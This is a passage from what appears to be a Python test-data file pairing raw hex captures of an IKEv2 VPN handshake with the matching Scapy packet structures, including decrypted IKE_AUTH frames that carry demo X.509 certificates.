IKEv2_Transform(\n                        next_payload='None',\n                        flags='',\n                        length=8,\n                        transform_type='GroupDesc',\n                        res2=0,\n                        transform_id='256randECPgr'\n                    )\n                )\n            )\n        ) /\n        IKEv2_KE(\n            next_payload='Nonce',\n            flags='',\n            length=72,\n            group='256randECPgr',\n            res2=0,\n            ke=b'\\xdb%1xD\\x0c\\xe7v\\xa7\\x94\\x13<\\xb8\\xb6\\x9e^\\xb0ts56W\\x0cd\\xd7\\xb60T\\x9c\\x89\\x9c\\x07\\x12\\xd8(\\xb3qhP\\x08\\x85\\xe0Q\\x02Ex\\xaf\\xc7\\\\\\x10\\x1fs\\xb8\\x94<\\xadb\\xd7J0\\xf2\\xbe\\x1f\\xca'\n        ) /\n        IKEv2_Nonce(\n            next_payload='VendorID',\n            flags='',\n            length=44,\n            nonce=b'\\t\\xcbS\\x8b,=\\xbdM\\x0b\\xb0\\xee\\xc8\\xd3\\x18\\xcb\\x80\\x1a\\x9bG\\x15\\xb2\\x07\\x82\\x8d\\x9b_\\xf1\\xf4\\xecd\\xedX\\x867\\x07\\xbc\\xf1L\\xcf\\x05'\n        ) /\n        IKEv2_VendorID(\n            next_payload='VendorID',\n            flags='',\n            length=20,\n            vendorID=b'\\xebL\\x1bx\\x8a\\xfdJ\\x9c\\xb7s\\nh\\xd5lS!'\n        ) /\n        IKEv2_VendorID(\n            next_payload='VendorID',\n            flags='',\n            length=20,\n            vendorID=b'\\xc6\\x1b\\xac\\xa1\\xf1\\xa6\\x0c\\xc1\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        ) /\n        IKEv2_VendorID(\n            next_payload='VendorID',\n            flags='',\n            length=24,\n            vendorID=b'@H\\xb7\\xd5n\\xbc\\xe8\\x85%\\xe7\\xde\\x7f\\x00\\xd6\\xc2\\xd3\\xc0\\x00\\x00\\x00'\n        ) /\n        IKEv2_VendorID(\n            next_payload='Notify',\n            flags='',\n            length=20,\n            vendorID=b'@H\\xb7\\xd5n\\xbc\\xe8\\x85%\\xe7\\xde\\x7f\\x00\\xd6\\xc2\\xd3'\n        ) /\n        IKEv2_Notify(\n            next_payload='Notify',\n            flags='',\n            length=8,\n            type='IKEV2_FRAGMENTATION_SUPPORTED',\n        ) /\n        IKEv2_Notify(\n            next_payload='Notify',\n            flags='',\n            length=8,\n            type='REDIRECT_SUPPORTED',\n        ) /\n        IKEv2_Notify(\n            next_payload='None',\n            flags='',\n            length=16,\n            type='SIGNATURE_HASH_ALGORITHMS',\n            notify=b'\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04'\n        )\n    ),\n    (\n        # i: frame number\n        1,\n        # title:\n        \"IKE_SA_INIT response\",\n        # data: raw frame data\n        binascii.unhexlify(''.join(\"\"\"\n        000c2930109e0050 56eddb3208004500 0151a5dc00008011 2227ac100f5cc0a8\n        f58311942aca013d af99000000008992 2c915f35570e98d5 6d32e2a047422120\n        2220000000000000 0131220000280000 0024010100030300 000c01000014800e\n        0100030000080200 0005000000080400 0013280000480013 00001d9cd5974c95\n        0c95e0544483fb1f 7a9132f5fe8959c0 9ab3a54c779ff2bc f4522a030dc33b9d\n        5ddfeb99e028c0e8 ba7d80dfdcf12b15 16dbe180e6aec664 428b2600002c1d10\n        7dc5a7463da7d761 014139fb381af9cd 3b8c0181e6cd36a8 ae105e55aa7fe71f\n        5db1d36c29152b00 0005042b00001840 48b7d56ebce88525 e7de7f00d6c2d3c0\n        0000002b00001440 48b7d56ebce88525 e7de7f00d6c2d32b 000014c6f57ac398\n        f493208145b7581e 8789832900001485 817703c6e320d2ae 5a4dd02056c6d729\n        0000080000402e29 0000100000402f00 0100020003000400 00000800004014\n        \"\"\".split())),\n        # packet:  Ether / IP / UDP / NON_ESP / IKEv2 / ...\n        Ether(dst='00:0c:29:30:10:9e', src='00:50:56:ed:db:32', type='IPv4') /\n        IP(version=4, ihl=5, tos=0x0, len=337, id=42460, flags='', frag=0, ttl=128,\n           proto='udp', chksum=0x2227, src='172.16.15.92', dst='192.168.245.131') /\n        UDP(sport=4500, dport=10954, len=317, chksum=0xaf99) /\n        NON_ESP() /\n        IKEv2(\n            init_SPI=b'\\x89\\x92\\x2c\\x91\\x5f\\x35\\x57\\x0e',\n            resp_SPI=b'\\x98\\xd5\\x6d\\x32\\xe2\\xa0\\x47\\x42',\n            next_payload='SA',\n            version=0x20,\n            exch_type='IKE_SA_INIT',\n            flags='Response',\n            id=0,\n            length=305\n        ) /\n        IKEv2_SA(\n            next_payload='KE',\n            flags='',\n            length=40,\n            prop=IKEv2_Proposal(\n                next_payload='None',\n                flags='',\n                length=36,\n                proposal=1,\n                proto='IKE',\n                trans_nb=3,\n                trans=(\n                    IKEv2_Transform(\n                        next_payload='Transform',\n                        flags='',\n                        length=12,\n                        transform_type='Encryption',\n                        res2=0,\n                        transform_id='AES-GCM-16ICV',\n                        key_length=256\n                    ) /\n                    IKEv2_Transform(\n                        next_payload='Transform',\n                        flags='',\n                        length=8,\n                        transform_type='PRF',\n                        res2=0,\n                        transform_id='PRF_HMAC_SHA2_256'\n                    ) /\n                    IKEv2_Transform(\n                        next_payload='None',\n                        flags='',\n                        length=8,\n                        transform_type='GroupDesc',\n                        res2=0,\n                        transform_id='256randECPgr'\n                    )\n                )\n            )\n        ) /\n        IKEv2_KE(\n            next_payload='Nonce',\n            flags='',\n            length=72,\n            group='256randECPgr',\n            res2=0,\n            ke=b'\\x1d\\x9c\\xd5\\x97L\\x95\\x0c\\x95\\xe0TD\\x83\\xfb\\x1fz\\x912\\xf5\\xfe\\x89Y\\xc0\\x9a\\xb3\\xa5Lw\\x9f\\xf2\\xbc\\xf4R*\\x03\\r\\xc3;\\x9d]\\xdf\\xeb\\x99\\xe0(\\xc0\\xe8\\xba}\\x80\\xdf\\xdc\\xf1+\\x15\\x16\\xdb\\xe1\\x80\\xe6\\xae\\xc6dB\\x8b'\n        ) /\n        IKEv2_Nonce(\n            next_payload='CERTREQ',\n            flags='',\n            length=44,\n            nonce=b'\\x1d\\x10}\\xc5\\xa7F=\\xa7\\xd7a\\x01A9\\xfb8\\x1a\\xf9\\xcd;\\x8c\\x01\\x81\\xe6\\xcd6\\xa8\\xae\\x10^U\\xaa\\x7f\\xe7\\x1f]\\xb1\\xd3l)\\x15'\n        ) /\n        IKEv2_CERTREQ(\n            next_payload='VendorID',\n            flags='',\n            length=5,\n            cert_encoding='X.509 Certificate - Signature',\n            cert_authority=b''\n        ) /\n        IKEv2_VendorID(\n            next_payload='VendorID',\n            flags='',\n            length=24,\n            vendorID=b'@H\\xb7\\xd5n\\xbc\\xe8\\x85%\\xe7\\xde\\x7f\\x00\\xd6\\xc2\\xd3\\xc0\\x00\\x00\\x00'\n        ) /\n        IKEv2_VendorID(\n            next_payload='VendorID',\n            flags='',\n            length=20,\n            vendorID=b'@H\\xb7\\xd5n\\xbc\\xe8\\x85%\\xe7\\xde\\x7f\\x00\\xd6\\xc2\\xd3'\n        ) /\n        IKEv2_VendorID(\n            next_payload='VendorID',\n            flags='',\n            length=20,\n            vendorID=b'\\xc6\\xf5z\\xc3\\x98\\xf4\\x93 \\x81E\\xb7X\\x1e\\x87\\x89\\x83'\n        ) /\n        IKEv2_VendorID(\n            next_payload='Notify',\n            flags='',\n            length=20,\n            vendorID=b'\\x85\\x81w\\x03\\xc6\\xe3 \\xd2\\xaeZM\\xd0 V\\xc6\\xd7'\n        ) /\n        IKEv2_Notify(\n            next_payload='Notify',\n            flags='',\n            length=8,\n            type='IKEV2_FRAGMENTATION_SUPPORTED',\n        ) /\n        IKEv2_Notify(\n            next_payload='Notify',\n            flags='',\n            length=16,\n            type='SIGNATURE_HASH_ALGORITHMS',\n            notify=b'\\x00\\x01\\x00\\x02\\x00\\x03\\x00\\x04'\n        ) /\n        IKEv2_Notify(\n            next_payload='None',\n            flags='',\n            length=8,\n            type='MULTIPLE_AUTH_SUPPORTED'\n        )\n    ),\n    (\n        # i: frame number\n        2,\n        # title:\n        \"IKE_AUTH request\",\n        # data: raw frame data\n        binascii.unhexlify(''.join(\"\"\"\n        005056eddb32000c 2930109e08004500 0520edc640004011 d66dc0a8f583ac10\n        0f5c2aca1194050c 8eb0000000008992 2c915f35570e98d5 6d32e2a047422e20\n        2308000000010000 0500230004e4\n        \"\"\".split())) + ike_auth_request_encrypted_payload,\n        # packet:  Ether / IP / UDP / NON_ESP / IKEv2 / ...\n        Ether(dst='00:50:56:ed:db:32', src='00:0c:29:30:10:9e', type='IPv4') /\n        IP(version=4, ihl=5, tos=0x0, len=1312, id=60870, flags='DF', frag=0, ttl=64,\n           proto='udp', chksum=0xd66d, src='192.168.245.131', dst='172.16.15.92') /\n        UDP(sport=10954, dport=4500, len=1292, chksum=0x8eb0) /\n        NON_ESP() /\n        IKEv2(\n            init_SPI=b'\\x89\\x92\\x2c\\x91\\x5f\\x35\\x57\\x0e',\n            resp_SPI=b'\\x98\\xd5\\x6d\\x32\\xe2\\xa0\\x47\\x42',\n            next_payload='Encrypted',\n            version=0x20,\n            exch_type='IKE_AUTH',\n            flags='Initiator',\n            id=1,\n            length=1280\n        ) /\n        IKEv2_Encrypted(\n            next_payload='IDi',\n            flags='',\n            length=1252,\n            load = ike_auth_request_encrypted_payload\n        )\n    ),\n    (\n        # i: frame number\n        3,\n        # title:\n        \"IKE_AUTH response\",\n        # data: raw frame data\n        binascii.unhexlify(''.join(\"\"\"\n        000c2930109e0050 56eddb3208004500 0518a5dd00008011 1e5fac100f5cc0a8\n        f58311942aca0504 886e000000008992 2c915f35570e98d5 6d32e2a047422e20\n        2320000000010000 04f8240004dc\n        \"\"\".split())) + ike_auth_response_encrypted_payload,\n        # packet:  Ether / IP / UDP / NON_ESP / IKEv2 / ...\n        Ether(dst='00:0c:29:30:10:9e', src='00:50:56:ed:db:32', type='IPv4') /\n        IP(version=4, ihl=5, tos=0x0, len=1304, id=42461, flags='', frag=0, ttl=128,\n           proto='udp', chksum=0x1e5f, src='172.16.15.92', dst='192.168.245.131') /\n        UDP(sport=4500, dport=10954, len=1284, chksum=0x886e) /\n        NON_ESP() /\n        IKEv2(\n            init_SPI=b'\\x89\\x92\\x2c\\x91\\x5f\\x35\\x57\\x0e',\n            resp_SPI=b'\\x98\\xd5\\x6d\\x32\\xe2\\xa0\\x47\\x42',\n            next_payload='Encrypted',\n            version=0x20,\n            exch_type='IKE_AUTH',\n            flags='Response',\n            id=1,\n            length=1272\n        ) /\n        IKEv2_Encrypted(\n            next_payload='IDr',\n            flags='',\n            length=1244,\n            load=ike_auth_response_encrypted_payload\n        )\n    ),\n    (\n        # i: frame number\n        -2,\n        # title:\n        \"IKE_AUTH request, decrypted\",\n        binascii.unhexlify(''.join(\"\"\"\n        005056eddb32000c 2930109e08004500 0520edc640004011 d66dc0a8f583ac10\n        0f5c2aca1194050c 8eb0000000008992 2c915f35570e98d5 6d32e2a047422320\n        2308000000010000 0500250000120300 0000696b6576322d 63657274290002dc\n        04308202d3308202 79a0030201020204 01000013300a0608 2a8648ce3d040302\n        304b310b30090603 5504061302444531 0f300d0603550408 130642617965726e\n        310c300a06035504 0a13034e4350311d 301b060355040313 144e43502044656d\n        6f20434120454343 2032303530302218 0f32303136303830 343038303031335a\n        180f323035303038 3035303830303133 5a3074310b300906 0355040613024445\n        311a301806035504 0a0c1144656d6f20 4f7267616e697a61 74696f6e3110300e\n        060355040b0c0744 656d6f204f553110 300e06035504030c 07436c69656e7431\n        3125302306092a86 4886f70d01090116 16636c69656e7431 4064656d6f2e6e63\n        702d652e636f6d30 59301306072a8648 ce3d020106082a86 48ce3d0301070342\n        0004b74572a1b5dd 1c4cafdab7f06a92 913cab7ee2a55106 efa4056e2dc17369\n        600510553454e37e 69e9a08c5abae5a0 5a77e01ebb04e4b2 72fe349f12a34088\n        ceeaa382011c3082 011830090603551d 1304023000300b06 03551d0f04040302\n        05a0301d0603551d 250416301406082b 0601050507030206 082b060105050703\n        07301d0603551d0e 041604145a5e6aa2 9f89959131c17018 ef64dc2a8a4a4a6a\n        30750603551d2304 6e306c801425db6d 44dec7a03eb5f862 3ab18784546a0f04\n        09a14fa44d304b31 0b30090603550406 13024445310f300d 0603550408130642\n        617965726e310c30 0a060355040a1303 4e4350311d301b06 0355040313144e43\n        502044656d6f2043 4120454343203230 3530820302000230 490603551d110442\n        3040a026060a2b06 0104018237140203 a0180c16436c6965 6e74314064656d6f\n        2e6e63702d652e63 6f6d8116436c6965 6e74314064656d6f 2e6e63702d652e63\n        6f6d300a06082a86 48ce3d0403020348 0030450220602d76 6db7e07b70d88e38\n        10acc6cd350ccdda 1e60d77bd36ed6e6 0f869ef371022100 d1e3d278fcacf41c\n        d8380691363ad393 3d6bc293fae9c847 ddf6187bb0f06f49 2900000801004000\n        2600000801004008 270000410491c1dc 0f2a8f0e3bd7da99 1a43a39226355e42\n        29bcb62a0e9de979 fda864e3f06460dc aaff850759f48956 233865214e9a10e6\n        376f4c59b5c02f36 6d2f00005c0e0000 000c300a06082a86 48ce3d0403023045\n        022100c1486ab5b3 db4c8b08f3ae0613 20104c826fb0803b a1e6e30d58c8000b\n        ac514202205865ea 41bc99e0adfa2856 770efaff530f2e85 50da1d86f8504df0\n        04025fb12d210000 8001000000000100 0000020000000300 00000400004e2200\n        0000080000000900 00000a0000001900 0000070000700000 0070010000700200\n        004e2600004e2700 0070030000700400 0070050000700600 0070070000700800\n        00700900004e2300 004e240000700a00 004e250006646562 69616e700a000664\n        656269616e2c0000 2400000020010304 02c1a9656b030000 0c01000014800e00\n        8000000008050000 002d000018010000 00070000100000ff ff00000000ffffff\n        ff2b000018010000 00070000100000ff ffc0a8e100c0a8e1 ff2b000014afcad7\n        1368a1f1c96b8696 fc775701002b0000 14c61baca1f1a60c c208000000000000\n        002900001c4e6350 0a09b8e83c80b693 36268ec8f6000c29 30109e0000290000\n        080000400c000000 0800004014\n        \"\"\".split())),\n        Ether(dst='00:50:56:ed:db:32', src='00:0c:29:30:10:9e', type='IPv4') /\n        IP(version=4, ihl=5, tos=0x0, len=1312, id=60870, flags='DF', frag=0, ttl=64, proto='udp', chksum=0xd66d, src='192.168.245.131', dst='172.16.15.92') /\n        UDP(sport=10954, dport=4500, len=1292, chksum=0x8eb0) /\n        NON_ESP(non_esp=0x0) /\n        IKEv2(\n            init_SPI=b'\\x89\\x92\\x2c\\x91\\x5f\\x35\\x57\\x0e',\n            resp_SPI=b'\\x98\\xd5m2\\xe2\\xa0GB',\n            next_payload='IDi',\n            version=0x20,\n            exch_type='IKE_AUTH',\n            flags='Initiator',\n            id=1,\n            length=1280\n        ) /\n        IKEv2_IDi(\n            next_payload='CERT',\n            flags='',\n            length=18,\n            IDtype='Email_addr',\n            res2=0x0,\n            ID='ikev2-cert'\n        ) /\n        IKEv2_CERT(\n            next_payload='Notify', flags='', length=732,\n            cert_encoding='X.509 Certificate - Signature',\n            cert_data=X509_Cert(\n                tbsCertificate=X509_TBSCertificate(\n                    version=ASN1_INTEGER(2),\n                    serialNumber=ASN1_INTEGER(0x1000013),\n                    signature=X509_AlgorithmIdentifier(\n                        algorithm=ASN1_OID('ecdsa-with-SHA256'),\n                        parameters=None\n                    ),\n                    issuer=[\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('stateOrProvinceName'), value=ASN1_PRINTABLE_STRING(b'Bayern'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_PRINTABLE_STRING(b'NCP'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_PRINTABLE_STRING(b'NCP Demo CA ECC 2050')))\n                    ],\n                    validity=X509_Validity(\n                        not_before=ASN1_GENERALIZED_TIME('20160804080013Z'),\n                        not_after=ASN1_GENERALIZED_TIME('20500805080013Z')\n                    ),\n                    subject=[\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))),\n                        X509_RDN(rdn=(X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_UTF8_STRING(b'Demo Organization')))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationUnitName'), value=ASN1_UTF8_STRING(b'Demo OU'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_UTF8_STRING(b'Client1'))),\n                        X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('emailAddress'), value=ASN1_IA5_STRING(b'client1@demo.ncp-e.com')))\n                    ],\n                    subjectPublicKeyInfo=X509_SubjectPublicKeyInfo(\n                        signatureAlgorithm=X509_AlgorithmIdentifier(\n                            algorithm=ASN1_OID('ecPublicKey'),\n                            parameters=ECParameters(curve=ASN1_OID('prime256v1'))),\n                        subjectPublicKey=ECDSAPublicKey(\n                            ecPoint=ASN1_BIT_STRING(\n                                '000001001011011101000101011100101010000110110101110111010001110'\n                                '001001100101011111101101010110111111100000110101010010010100100'\n                                '010011110010101011011111101110001010100101010100010000011011101'\n                                '111101001000000010101101110001011011100000101110011011010010110'\n                                '000000000101000100000101010100110100010101001110001101111110011'\n                                '010011110100110100000100011000101101010111010111001011010000001'\n                                '011010011101111110000000011110101110110000010011100100101100100'\n                                '111001011111110001101001001111100010010101000110100000010001000'\n                                '1100111011101010'))),\n                    issuerUniqueID=None,\n                    subjectUniqueID=None,\n                    extensions=[\n                        X509_Extension(\n                            extnID=ASN1_OID('basicConstraints'),\n                            critical=None,\n                            extnValue=X509_ExtBasicConstraints(cA=None, pathLenConstraint=None)\n                        ),\n                        X509_Extension(\n                            extnID=ASN1_OID('keyUsage'),\n                            critical=None,\n                            extnValue=X509_ExtKeyUsage(keyUsage=ASN1_BIT_STRING('101'))\n                        ),\n                        X509_Extension(\n                            extnID=ASN1_OID('extKeyUsage'),\n                            critical=None,\n                            extnValue=X509_ExtExtendedKeyUsage(\n                                extendedKeyUsage=[\n                                    ASN1P_OID(oid=ASN1_OID('clientAuth')),\n                                    ASN1P_OID(oid=ASN1_OID('ipsecUser'))\n                                ]\n                            )\n                        ),\n                        X509_Extension(\n                            extnID=ASN1_OID('subjectKeyIdentifier'),\n                            critical=None,\n                            extnValue=X509_ExtSubjectKeyIdentifier(\n                                keyIdentifier=ASN1_STRING(b'Z^j\\xa2\\x9f\\x89\\x95\\x911\\xc1p\\x18\\xefd\\xdc*\\x8aJJj')\n                            )\n                        ),\n                        X509_Extension(\n                            extnID=ASN1_OID('authorityKeyIdentifier'),\n                            critical=None,\n                            extnValue=X509_ExtAuthorityKeyIdentifier(\n                                keyIdentifier=ASN1_STRING(b'%\\xdbmD\\xde\\xc7\\xa0>\\xb5\\xf8b:\\xb1\\x87\\x84Tj\\x0f\\x04\\t'),\n                                authorityCertIssuer=X509_GeneralName(\n                                    generalName=X509_DirectoryName(\n                                        directoryName=[\n                                            X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('countryName'), value=ASN1_PRINTABLE_STRING(b'DE'))),\n                                            X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('stateOrProvinceName'), value=ASN1_PRINTABLE_STRING(b'Bayern'))),\n                                            X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('organizationName'), value=ASN1_PRINTABLE_STRING(b'NCP'))),\n                                            X509_RDN(rdn=X509_AttributeTypeAndValue(type=ASN1_OID('commonName'), value=ASN1_PRINTABLE_STRING(b'NCP Demo CA ECC 2050')))\n                                        ]\n                                    )\n                                ),\n                                authorityCertSerialNumber=ASN1_INTEGER(0x20002)\n                            )\n                        ),\n                        X509_Extension(\n                            extnID=ASN1_OID('subjectAltName'),\n                            critical=None,\n                            extnValue=X509_ExtSubjectAltName(\n                                subjectAltName=[\n                                    X509_GeneralName(\n                                        generalName=X509_OtherName(\n                                            type_id=ASN1_OID('.1.3.6.1.4.1.311.20.2.3'),\n                                            value=ASN1_UTF8_STRING(b'Client1@demo.ncp-e.com')\n                                        )\n                                    ),\n                                    X509_GeneralName(\n                                        generalName=X509_RFC822Name(\n                                            rfc822Name=ASN1_IA5_STRING(b'Client1@demo.ncp-e.com')\n                                        )\n                                    )\n                                ]\n                            )\n                        )\n                    ]\n                ),\n                signatureAlgorithm=X509_AlgorithmIdentifier(\n                    algorithm=ASN1_OID('ecdsa-with-SHA256'),\n                    parameters=None\n                ),\n                signatureValue=ECDSASignature(\n                    r=ASN1_INTEGER(0x602d766db7e07b70d88e3810acc6cd350ccdda1e60d77bd36ed6e60f869ef371),\n                    s=ASN1_INTEGER(0xd1e3d278fcacf41cd8380691363ad3933d6bc293fae9c847ddf6187bb0f06f49)\n                )\n            )\n        ) /\n        IKEv2_Notify(\n            next_payload='Notify',\n            flags='',\n            length=8,\n            proto='IKE',\n            type='INITIAL_CONTACT',\n            notify=''\n        ) /\n        IKEv2_Notify(\n            next_payload='CERTREQ',\n            flags='',\n            length=8,\n            proto='IKE',\n            type='HTTP_CERT_LOOKUP_SUPPORTED',\n            notify=''\n        ) /\n        IKEv2_CERTREQ(\n            next_payload='AUTH',\n            flags='',\n            length=65,\n            cert_encoding='X.509 Certificate - Signature',\n            cert_authority=b'\\x91\\xc1\\xdc\\x0f*\\x8f\\x0e;\\xd7\\xda\\x99\\x1aC\\xa3\\x92&5^B)\\xbc\\xb6*\\x0e\\x9d\\xe9y\\xfd\\xa8d\\xe3\\xf0d`\\xdc\\xaa\\xff\\x85\\x07Y\\xf4\\x89V#8e!N\\x9a\\x10\\xe67oLY\\xb5\\xc0/6m'\n        ) /\n        IKEv2_AUTH(\n            next_payload='CP',\n            flags='',\n            length=92,\n            auth_type='Digital Signature',\n            res2=0x0,\n            load=b'\\x0c0\\n\\x06\\x08*\\x86H\\xce=\\x04\\x03\\x020E\\x02!\\x00\\xc1Hj\\xb5\\xb3\\xdbL\\x8b\\x08\\xf3\\xae\\x06\\x13 \\x10L\\x82o\\xb0\\x80;\\xa1\\xe6\\xe3\\rX\\xc8\\x00\\x0b\\xacQB\\x02 Xe\\xeaA\\xbc\\x99\\xe0\\xad\\xfa(Vw\\x0e\\xfa\\xffS\\x0f.\\x85P\\xda\\x1d\\x86\\xf8PM\\xf0\\x04\\x02_\\xb1-'\n        ) /\n        IKEv2_CP(\n            next_payload='SA',\n            flags='',\n            length=128,\n            CFGType='CFG_REQUEST',\n            res2=0x0,\n            attributes=[\n                ConfigurationAttribute(type='INTERNAL_IP4_ADDRESS', length=0, value=''),\n                ConfigurationAttribute(type='INTERNAL_IP4_NETMASK', length=0, value=''),\n                ConfigurationAttribute(type='INTERNAL_IP4_DNS', length=0, value=''),\n                ConfigurationAttribute(type='INTERNAL_IP4_NBNS', length=0, value=''),\n                ConfigurationAttribute(type=20002, length=0, value=''),\n                ConfigurationAttribute(type='INTERNAL_IP6_ADDRESS', length=0, value=''),\n                ConfigurationAttribute(type=9, length=0, value=''),\n                ConfigurationAttribute(type='INTERNAL_IP6_DNS', length=0, value=''),\n                ConfigurationAttribute(type='INTERNAL_DNS_DOMAIN', length=0, value=''),\n                ConfigurationAttribute(type='APPLICATION_VERSION', length=0, value=''),\n                ConfigurationAttribute(type=28672, length=0, value=''),\n                ConfigurationAttribute(type=28673, length=0, value=''),\n                ConfigurationAttribute(type=28674, length=0, value=''),\n                ConfigurationAttribute(type=20006, length=0, value=''),\n                ConfigurationAttribute(type=20007, length=0, value=''),\n                ConfigurationAttribute(type=28675, length=0, value=''),\n                ConfigurationAttribute(type=28676, length=0, value=''),\n                ConfigurationAttribute(type=28677, length=0, value=''),\n                ConfigurationAttribute(type=28678, length=0, value=''),\n                ConfigurationAttribute(type=28679, length=0, value=''),\n                ConfigurationAttribute(type=28680, length=0, value=''),\n                ConfigurationAttribute(type=28681, length=0, value=''),\n                ConfigurationAttribute(type=20003, length=0, value=''),\n                ConfigurationAttribute(type=20004, length=0, value=''),\n                ConfigurationAttribute(type=28682, length=0, value=''),\n                ConfigurationAttribute(type=20005, length=6, value='debian'),\n                ConfigurationAttribute(type=28682, length=6, value='debian')\n            ]\n        ) /\n        IKEv2_SA(\n            next_payload='TSi',\n            flags='',\n            length=36,\n            prop=IKEv2_Proposal(\n                next_payload='None',\n                flags='',\n                length=32,\n                proposal=1,\n                proto='ESP',\n                SPIsize=4,\n                trans_nb=2,\n                SPI=b'\\xc1\\xa9ek',\n                trans=IKEv2_Transform(flags='', length=12, transform_type='Encryption', res2=0, transform_id='AES-GCM-16ICV', key_length=128) /\n                      IKEv2_Transform(flags='', length=8, transform_type='Extended Sequence Number', res2=0, transform_id='No ESN')\n            )\n        ) /\n        IKEv2_TSi(\n            next_payload='TSr',\n            flags='',\n            length=24,\n            number_of_TSs=1,\n            res2=0x0,\n            traffic_selector=[\n                IPv4TrafficSelector(TS_type='TS_IPV4_ADDR_RANGE',\n                                    IP_protocol_ID='All protocols',\n                                    length=16,\n                                    start_port=0,\n                                    end_port=65535,\n                                    starting_address_v4='0.0.0.0',\n                                    ending_address_v4='255.255.255.255')\n            ]\n        ) /\n        IKEv2_TSr(\n            next_payload='VendorID',\n            flags='',\n            length=24,\n            number_of_TSs=1,\n            res2=0x0,\n            traffic_selector=[\n                IPv4TrafficSelector(\n                    TS_type='TS_IPV4_ADDR_RANGE',\n                    IP_protocol_ID='All protocols',\n                    length=16,\n                    start_port=0,\n                    end_port=65535,\n                    starting_address_v4='192.168.225.0',\n                    ending_address_v4='192.168.225.255')\n            ]\n        ) /\n        IKEv2_VendorID(\n            next_payload='VendorID',\n            flags='',\n            length=20,\n            vendorID=b'\\xaf\\xca\\xd7\\x13h\\xa1\\xf1\\xc9k\\x86\\x96\\xfcwW\\x01\\x00'\n        ) /\n        IKEv2_VendorID(\n            next_payload='VendorID',\n            flags='',\n            length=20,\n            vendorID=b'\\xc6\\x1b\\xac\\xa1\\xf1\\xa6\\x0c\\xc2\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        ) /\n        IKEv2_VendorID(\n            next_payload='Notify',\n            flags='',\n            length=28,\n            vendorID=b'NcP\\n\\t\\xb8\\xe8<\\x80\\xb6\\x936&\\x8e\\xc8\\xf6\\x00\\x0c)0\\x10\\x9e\\x00\\x00'\n        ) /\n        IKEv2_Notify(\n            next_payload='Notify',\n            flags='',\n            length=8,\n            type='MOBIKE_SUPPORTED',\n            notify=''\n        ) /\n        IKEv2_Notify(\n            next_payload=None,\n            flags='',\n            length=8,\n            type='MULTIPLE_AUTH_SUPPORTED'\n        )\n    ),\n    # IKE_AUTH response, decrypted\n    (\n        # i: frame number\n        -3,\n        # title:\n        \"IKE_AUTH response, decrypted\",\n        binascii.unhexlify(''.join(\"\"\"\n        000c2930109e0050 56eddb3208004500 0518a5dd00008011 1e5fac100f5cc0a8\n        f58311942aca0504 886e000000008992 2c915f35570e98d5 6d32e2a047422420\n        2320000000010000 04f82500007e0900 00003074310b3009 0603550406130244\n        45311a3018060355 040a0c1144656d6f 204f7267616e697a 6174696f6e311030\n        0e060355040b0c07 44656d6f204f5531 10300e0603550403 0c07536572766572\n        313125302306092a 864886f70d010901 1616736572766572 314064656d6f2e6e\n        63702d652e636f6d 270002e604308202 dd30820283a00302 0102020401000016\n        300a06082a8648ce 3d040302304b310b 3009060355040613 024445310f300d06\n        0355040813064261 7965726e310c300a 060355040a13034e 4350311d301b0603\n        55040313144e4350 2044656d6f204341 2045434320323035 303022180f323031\n        3630383034303830 3031355a180f3230 3530303830353038 303031355a307431\n        0b30090603550406 13024445311a3018 060355040a0c1144 656d6f204f726761\n        6e697a6174696f6e 3110300e06035504 0b0c0744656d6f20 4f553110300e0603\n        5504030c07536572 7665723131253023 06092a864886f70d 0109011616736572\n        766572314064656d 6f2e6e63702d652e 636f6d3059301306 072a8648ce3d0201\n        06082a8648ce3d03 010703420004dec7 f4b2c8b2dc4d6345 ea1bc875c1076b55\n        d9dbc87d069d189b 3fd6bdffec3ec40a fc74a88583cc541b 46ada5e4040ce77d\n        6ab7745987296ec1 d236a878f394a382 0126308201223009 0603551d13040230\n        00300b0603551d0f 0404030205a03027 0603551d25042030 1e06082b06010505\n        07030106082b0601 050507030206082b 0601050507030630 1d0603551d0e0416\n        0414a54698574719 a02a49f01a2c9484 d482d94c27233075 0603551d23046e30\n        6c801425db6d44de c7a03eb5f8623ab1 8784546a0f0409a1 4fa44d304b310b30\n        0906035504061302 4445310f300d0603 5504081306426179 65726e310c300a06\n        0355040a13034e43 50311d301b060355 040313144e435020 44656d6f20434120\n        4543432032303530 8203020002304906 03551d1104423040 a026060a2b060104\n        018237140203a018 0c16536572766572 314064656d6f2e6e 63702d652e636f6d\n        8116536572766572 314064656d6f2e6e 63702d652e636f6d 300a06082a8648ce\n        3d04030203480030 4502205387d21afa 1bab56fc406f8176 8ae73fe18b93b4cf\n        f191fd01cda6fd92 020e95022100ee5f 6735a9f6d6b377e7 13cacdddd72fc7fb\n        a5d48258479ee1ed f2af2da848502f00 005c0e0000000c30 0a06082a8648ce3d\n        0403023045022078 d6a7e8b366bde8f9 c12f269f2bf64116 9511ce621a90059a\n        ed0fea47538b0e02 21008cf30813d135 aafe8e4dc0fdf2fd 595a9867f1a6083d\n        1e01a149c905ecf9 bfe62100005c0200 000000010004c0a8 e10a00020004ffff\n        ff004e240004c0a8 e101000300040000 0000000300040000 00004e220004ac10\n        0f5c4e2200040000 0000000400040000 0000000400040000 00004e2300040000\n        0000700200002800 0024000000200103 0402ac0faf030300 000c01000014800e\n        0080000000080500 00002c00002ccf0e 7950765db7f7371d bbdfa1720493c83c\n        1ba4dc3617c3192a 